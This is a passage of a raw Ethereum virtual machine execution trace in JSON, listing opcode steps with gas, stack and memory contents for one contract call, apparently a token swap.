07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x0","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0x2bda54fce7dbfc916a32","0xc50dfd48a20630e6","0x3","0x0","0x14ef","0x3","0x3e8"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000200","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","97db958e00000000000000000000000000000000000000000000000000000000"]},{"pc":15151,"op":"SWAP1","gas":102028,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0xa24","0x4563918244f40000","0xa0","0x100","0x0","0x20f2","0x4563918244f40000","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x0","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0x2bda54fce7dbfc916a32","0xc50dfd48a20630e6","0x3","0x0","0x14ef","0x3e5"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000200","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","97db958e00000000000000000000000000000000000000000000000000000000"]},{"pc":15152,"op":"JUMP","gas":102025,"gasCost":8,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0xa24","0x4563918244f40000","0xa0","0x100","0x0","0x20f2","0x4563918244f40000","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x0","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0x2bda54fce7dbfc916a32","0xc50dfd48a20630e6","0x3","0x0","0x3e5","0x14ef"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000200","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","97db958e00000000000000000000000000000000000000000000000000000000"]},{"pc":5359,"op":"JUMPDEST","gas":102017,"gasCost":1,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0xa24","0x4563918244f40000","0xa0","0x100","0x0","0x20f2","0x4563918244f40000","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x0","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0x2bda54fce7dbfc916a32","0xc50dfd48a20630e6","0x3","0x0","0x3e5"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000200","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","97db958e00000000000000000000000000000000000000000000000000000000"]},{"pc":5360,"op":"PUSH2","gas":102016,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0xa24","0x4563918244f40000","0xa0","0x100","0x0","0x20f2","0x4563918244f40000","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x0","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0x2bda54fce7dbfc916a32","0xc50dfd48a20630e6","0x3","0x0","0x3e5"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000200","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","97db958e00000000000000000000000000000000000000000000000000000000"]},{"pc":5363,"op":"SWAP1","gas":102013,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0xa24","0x4563918244f40000","0xa0","0x100","0x0","0x20f2","0x4563918244f40000","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x0","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0x2bda54fce7dbfc916a32","0xc50dfd48a20630e6","0x3","0x0","0x3e5","0x14f9"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000200","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","97db958e00000000000000000000000000000000000000000000000000000000"]},{"pc":5364,"op":"DUP12","gas":102010,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0xa24","0x4563918244f40000","0xa0","0x100","0x0","0x20f2","0x4563918244f40000","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x0","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0x2bda54fce7dbfc916a32","0xc50dfd48a20630e6","0x3","0x0","0x14f9","0x3e5"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000200","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","97db958e00000000000000000000000000000000000000000000000000000000"]},{"pc":5365,"op":"PUSH2","gas":102007,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0xa24","0x4563918244f40000","0xa0","0x100","0x0","0x20f2","0x4563918244f40000","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x0","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0x2bda54fce7dbfc916a32","0xc50dfd48a20630e6","0x3","0x0","0x14f9","0x3e5","0x4563918244f40000"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000200","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","97db958e00000000000000000000000000000000000000000000000000000000"]},{"pc":5368,"op":"JUMP","gas":102004,"gasCost":8,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0xa24","0x4563918244f40000","0xa0","0x100","0x0","0x20f2","0x4563918244f40000","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x0","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0x2bda54fce7dbfc916a32","0xc50dfd48a20630e6","0x3","0x0","0x14f9","0x3e5","0x4563918244f40000","0x3afb"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000200","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","97db958e00000000000000000000000000000000000000000000000000000000"]},{"pc":15099,"op":"JUMPDEST","gas":101996,"gasCost":1,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0xa24","0x4563918244f40000","0xa0","0x100","0x0","0x20f2","0x4563918244f40000","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x0","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0x2bda54fce7dbfc916a32","0xc50dfd48a20630e6","0x3","0x0","0x14f9","0x3e5","0x4563918244f40000"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000200","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","97db958e00000000000000000000000000000000000000000000000000000000"]},{"pc":15100,"op":"PUSH1","gas":101995,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0xa24","0x4563918244f40000","0xa0","0x100","0x0","0x20f2","0x4563918244f40000","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x0","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0x2bda54fce7dbfc916a32","0xc50dfd48a20630e6","0x3","0x0","0x14f9","0x3e5","0x4563918244f40000"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000200","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","97db958e00000000000000000000000000000000000000000000000000000000"]},{"pc":15102,"op":"DUP2","gas":101992,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0xa24","0x4563918244f40000","0xa0","0x100","0x0","0x20f2","0x4563918244f40000","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x0","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0x2bda54fce7dbfc916a32","0xc50dfd48a20630e6","0x3","0x0","0x14f9","0x3e5","0x4563918244f40000","0x0"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000200","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","97db958e00000000000000000000000000000000000000000000000000000000"]},{"pc":15103,"op":"PUSH1","gas":101989,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0xa24","0x4563918244f40000","0xa0","0x100","0x0","0x20f2","0x4563918244f40000","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x0","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0x2bda54fce7dbfc916a32","0xc50dfd48a20630e6","0x3","0x0","0x14f9","0x3e5","0x4563918244f40000","0x0","0x4563918244f40000"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000200","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","97db958e00000000000000000000000000000000000000000000000000000000"]},{"pc":15105,"op":"NOT","gas":101986,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0xa24","0x4563918244f40000","0xa0","0x100","0x0","0x20f2","0x4563918244f40000","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x0","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0x2bda54fce7dbfc916a32","0xc50dfd48a20630e6","0x3","0x0","0x14f9","0x3e5","0x4563918244f40000","0x0","0x4563918244f40000","0x0"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000200","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","97db958e00000000000000000000000000000000000000000000000000000000"]},{"pc":15106,"op":"DIV","gas":101983,"gasCost":5,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0xa24","0x4563918244f40000","0xa0","0x100","0x0","0x20f2","0x4563918244f40000","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x0","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0x2bda54fce7dbfc916a32","0xc50dfd48a20630e6","0x3","0x0","0x14f9","0x3e5","0x4563918244f40000","0x0","0x4563918244f40000","0xffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000200","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","97db958e00000000000000000000000000000000000000000000000000000000"]},{"pc":15107,"op":"DUP4","gas":101978,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0xa24","0x4563918244f40000","0xa0","0x100","0x0","0x20f2","0x4563918244f40000","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x0","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0x2bda54fce7dbfc916a32","0xc50dfd48a20630e6","0x3","0x0","0x14f9","0x3e5","0x4563918244f40000","0x0","0x3b07929f6da558694acc7a78f41b0cb947899481c1d4f9fd3"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000200","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","97db958e00000000000000000000000000000000000000000000000000000000"]},{"pc":15108,"op":"GT","gas":101975,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0xa24","0x4563918244f40000","0xa0","0x100","0x0","0x20f2","0x4563918244f40000","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x0","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0x2bda54fce7dbfc916a32","0xc50dfd48a20630e6","0x3","0x0","0x14f9","0x3e5","0x4563918244f40000","0x0","0x3b07929f6da558694acc7a78f41b0cb947899481c1d4f9fd3","0x3e5"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000200","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","97db958e00000000000000000000000000000000000000000000000000000000"]},{"pc":15109,"op":"DUP3","gas":101972,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0xa24","0x4563918244f40000","0xa0","0x100","0x0","0x20f2","0x4563918244f40000","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x0","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0x2bda54fce7dbfc916a32","0xc50dfd48a20630e6","0x3","0x0","0x14f9","0x3e5","0x4563918244f40000","0x0","0x0"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000200","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","97db958e00000000000000000000000000000000000000000000000000000000"]},{"pc":15110,"op":"ISZERO","gas":101969,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0xa24","0x4563918244f40000","0xa0","0x100","0x0","0x20f2","0x4563918244f40000","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x0","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0x2bda54fce7dbfc916a32","0xc50dfd48a20630e6","0x3","0x0","0x14f9","0x3e5","0x4563918244f40000","0x0","0x0","0x4563918244f40000"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000200","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000